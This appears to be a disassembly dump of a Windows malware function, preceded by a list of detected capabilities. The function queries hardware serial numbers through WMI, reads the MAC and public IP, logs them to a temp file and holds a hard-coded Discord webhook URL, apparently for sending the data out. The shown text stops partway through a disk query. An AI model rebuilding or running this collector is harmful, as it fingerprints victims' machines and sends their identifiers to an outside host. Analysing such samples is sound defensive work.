Function at 0x140011820
Capabilities:
Connect to wmi namespace via wbemlocator
Delete file
Execute command
Get common file path
Get mac address on windows
Initialize winhttp library
Prepare http request
Receive http response
Reference wmi statements
Set console window title

Disassembly:
jmp 0x1400218a0
push rbp
push rdi
mov eax, 0x49b8
call fcn.1400111fe
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x10da
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14003c040]
xor rax, rbp
mov qword [rbp + 0x4958], rax
lea rcx, [0x140044118]
call fcn.140011bae
lea rax, str.Error
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.1400114f1
lea rdx, str.https:__canary.discord.com_api_webhooks_1197270625337741474_k5_T7_k2ukPGefroP7FTDwK9usVqMLYXY9Owntkmdkeyp8mFSUezR_EsnCe7trtA_ks0
lea rcx, [rbp + 0x28]
call fcn.1400113b6
nop
lea rdx, [rbp + 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x14002193f
mov dword [rbp + 0x40a4], 1
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x40a4]
jmp 0x1400242f5
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x298]
call fcn.1400113b6
nop
lea rdx, str.1337.txt
lea rcx, [rbp + 0x298]
call fcn.1400115e6
mov edx, 0x108
lea rcx, [rbp + 0x2e0]
call fcn.14001155f
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x2e0]
call fcn.14001142e
nop
lea rcx, [rbp + 0x2e0]
call fcn.140011852
movzx eax, al
test eax, eax
jne 0x1400219e7
mov dword [rbp + 0x40c4], 1
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x40c4]
jmp 0x1400242f5
mov qword [rbp + 0x408], 0
mov qword [rbp + 0x428], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x140021a43
mov dword [rbp + 0x40e4], 1
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x40e4]
jmp 0x1400242f5
lea rax, [rbp + 0x408]
mov qword [rsp + 0x20], rax
lea r9, [0x140034fb8]
mov r8d, 1
xor edx, edx
lea rcx, [0x140034fa0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x140021aad
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0x4104], 1
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x4104]
jmp 0x1400242f5
mov rax, qword [rbp + 0x408]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x4918], rax
lea rdx, str.ROOTCIMv2
lea rcx, [rbp + 0x4148]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rax, [rbp + 0x428]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x4930]
mov rcx, qword [rbp + 0x408]
call qword [rbp + 0x4918]
test eax, eax
je 0x140021b56
mov dword [rbp + 0x4938], 1
jmp 0x140021b60
mov dword [rbp + 0x4938], 0
movzx eax, byte [rbp + 0x4938]
mov byte [rbp + 0x4124], al
lea rcx, [rbp + 0x4148]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4124]
test eax, eax
je 0x140021bd6
mov rax, qword [rbp + 0x408]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0x4164], 1
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x4164]
jmp 0x1400242f5
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
je 0x140021c79
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x428]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x408]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0x4184], 1
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x4184]
jmp 0x1400242f5
mov qword [rbp + 0x448], 0
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_BaseBoard
lea rcx, [rbp + 0x41c8]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x41e8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140021d58
mov dword [rbp + 0x4950], 1
jmp 0x140021d62
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x41a4], al
lea rcx, [rbp + 0x41e8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x41c8]
call fcn.140011a1e
movzx eax, byte [rbp + 0x41a4]
test eax, eax
je 0x140021f2c
cmp qword [rbp + 0x448], 0
je 0x140021f2c
mov qword [rbp + 0x468], 0
mov dword [rbp + 0x484], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x484]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x468]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140021e07
cmp dword [rbp + 0x484], 0
jne 0x140021e0c
jmp 0x140021f2c
mov rax, qword [rbp + 0x468]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x4a8]
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x468]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140021f13
mov rdx, qword [rbp + 0x4b0]
lea rcx, [rbp + 0x4208]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x4d8]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4208]
call fcn.140011a1e
lea rcx, [rbp + 0x4d8]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140021ef9
lea rdx, str.Motherboard_Serial_Number:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x4d8]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x4d8]
call fcn.140011a32
mov rax, qword [rbp + 0x468]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x468]
call qword [rax + 0x10]
jmp 0x140021d97
lea rdx, str.https:__api.ipify.org_
lea rcx, [rbp + 0x518]
call fcn.1400113b6
nop
mov qword [rbp + 0x558], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.User_Agent
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0x598], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140035268]
mov rcx, qword [rbp + 0x598]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x5b8], rax
cmp qword [rbp + 0x5b8], 0
je 0x14002212d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140022120
xor edx, edx
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140022113
lea rdx, [rbp + 0x5d4]
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
cmp dword [rbp + 0x5d4], 0
jbe 0x140022106
mov eax, dword [rbp + 0x5d4]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1400114d8
mov qword [rbp + 0x4228], rax
mov rax, qword [rbp + 0x4228]
mov qword [rbp + 0x558], rax
lea r9, [rbp + 0x574]
mov r8d, dword [rbp + 0x5d4]
mov rdx, qword [rbp + 0x558]
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [rbp + 0x574]
mov rcx, qword [rbp + 0x558]
mov byte [rcx + rax], 0
lea rdx, str.IP_Address:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
mov rdx, qword [rbp + 0x558]
mov rcx, rax
call fcn.14001165e
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, qword [rbp + 0x558]
mov qword [rbp + 0x4248], rax
mov rcx, qword [rbp + 0x4248]
call fcn.140011564
cmp qword [rbp + 0x4248], 0
jne 0x1400220ed
mov qword [rbp + 0x4918], 0
jmp 0x140022106
mov qword [rbp + 0x558], 0x8123
mov rax, qword [rbp + 0x558]
mov qword [rbp + 0x4918], rax
cmp dword [rbp + 0x5d4], 0
ja 0x140022005
mov rcx, qword [rbp + 0x5b8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x598]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_BIOS
lea rcx, [rbp + 0x4288]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x42a8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022201
mov dword [rbp + 0x4950], 1
jmp 0x14002220b
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x4264], al
lea rcx, [rbp + 0x42a8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4288]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4264]
test eax, eax
je 0x1400223d5
cmp qword [rbp + 0x448], 0
je 0x1400223d5
mov qword [rbp + 0x5f8], 0
mov dword [rbp + 0x614], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x614]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x5f8]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400222b0
cmp dword [rbp + 0x614], 0
jne 0x1400222b5
jmp 0x1400223d5
mov rax, qword [rbp + 0x5f8]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x638]
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x5f8]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400223bc
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x42c8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x668]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x42c8]
call fcn.140011a1e
lea rcx, [rbp + 0x668]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x1400223a2
lea rdx, str.BIOS_Serial_Number:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x668]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x638]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x668]
call fcn.140011a32
mov rax, qword [rbp + 0x5f8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x5f8]
call qword [rax + 0x10]
jmp 0x140022240
mov dword [rbp + 0x32c4], 0x2c00
lea rdx, [rbp + 0x32c4]
lea rcx, [rbp + 0x6b0]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x140022474
lea rax, [rbp + 0x6b0]
mov qword [rbp + 0x32e8], rax
cmp qword [rbp + 0x32e8], 0
je 0x140022474
lea rdx, str.MAC_Address:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x32e8]
add rax, 0x198
mov rdx, rax
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___void_const____ptr64____ptr64]
mov qword [rbp + 0x4920], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4920]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, qword [rbp + 0x32e8]
mov rax, qword [rax]
mov qword [rbp + 0x32e8], rax
jmp 0x140022405
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT_ProcessorId_FROM_Win32_Processor
lea rcx, [rbp + 0x4308]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x4328]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022548
mov dword [rbp + 0x4950], 1
jmp 0x140022552
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x42e4], al
lea rcx, [rbp + 0x4328]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4308]
call fcn.140011a1e
movzx eax, byte [rbp + 0x42e4]
test eax, eax
je 0x14002271c
cmp qword [rbp + 0x448], 0
je 0x14002271c
mov qword [rbp + 0x3308], 0
mov dword [rbp + 0x3324], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x3324]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3308]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400225f7
cmp dword [rbp + 0x3324], 0
jne 0x1400225fc
jmp 0x14002271c
mov rax, qword [rbp + 0x3308]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3348]
xor r8d, r8d
lea rdx, str.ProcessorId
mov rcx, qword [rbp + 0x3308]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022703
mov rdx, qword [rbp + 0x3350]
lea rcx, [rbp + 0x4348]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3378]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4348]
call fcn.140011a1e
lea rcx, [rbp + 0x3378]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x1400226e9
lea rdx, str.CPU_ProcessorId:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3378]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3348]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3378]
call fcn.140011a32
mov rax, qword [rbp + 0x3308]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3308]
call qword [rax + 0x10]
jmp 0x140022587
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_PhysicalMemory
lea rcx, [rbp + 0x4388]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x43a8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400227f0
mov dword [rbp + 0x4950], 1
jmp 0x1400227fa
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x4364], al
lea rcx, [rbp + 0x43a8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4388]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4364]
test eax, eax
je 0x1400229c4
cmp qword [rbp + 0x448], 0
je 0x1400229c4
mov qword [rbp + 0x33b8], 0
mov dword [rbp + 0x33d4], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x33d4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x33b8]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x14002289f
cmp dword [rbp + 0x33d4], 0
jne 0x1400228a4
jmp 0x1400229c4
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x33f8]
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x33b8]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400229ab
mov rdx, qword [rbp + 0x3400]
lea rcx, [rbp + 0x43c8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3428]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x43c8]
call fcn.140011a1e
lea rcx, [rbp + 0x3428]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140022991
lea rdx, str.RAM_Serial_Number:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3428]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x33f8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3428]
call fcn.140011a32
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x33b8]
call qword [rax + 0x10]
jmp 0x14002282f
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_VideoController
lea rcx, [rbp + 0x4408]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x4428]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022a98
mov dword [rbp + 0x4950], 1
jmp 0x140022aa2
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x43e4], al
lea rcx, [rbp + 0x4428]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4408]
call fcn.140011a1e
movzx eax, byte [rbp + 0x43e4]
test eax, eax
je 0x140022c6c
cmp qword [rbp + 0x448], 0
je 0x140022c6c
mov qword [rbp + 0x3468], 0
mov dword [rbp + 0x3484], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x3484]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3468]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022b47
cmp dword [rbp + 0x3484], 0
jne 0x140022b4c
jmp 0x140022c6c
mov rax, qword [rbp + 0x3468]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x34a8]
xor r8d, r8d
lea rdx, str.PNPDeviceID
mov rcx, qword [rbp + 0x3468]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022c53
mov rdx, qword [rbp + 0x34b0]
lea rcx, [rbp + 0x4448]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x34d8]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4448]
call fcn.140011a1e
lea rcx, [rbp + 0x34d8]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140022c39
lea rdx, str.GPU_Serial_Number:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x34d8]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x34a8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x34d8]
call fcn.140011a32
mov rax, qword [rbp + 0x3468]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3468]
call qword [rax + 0x10]
jmp 0x140022ad7
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_DiskDrive
lea rcx, [rbp + 0x4488]
call fcn.140011aaf
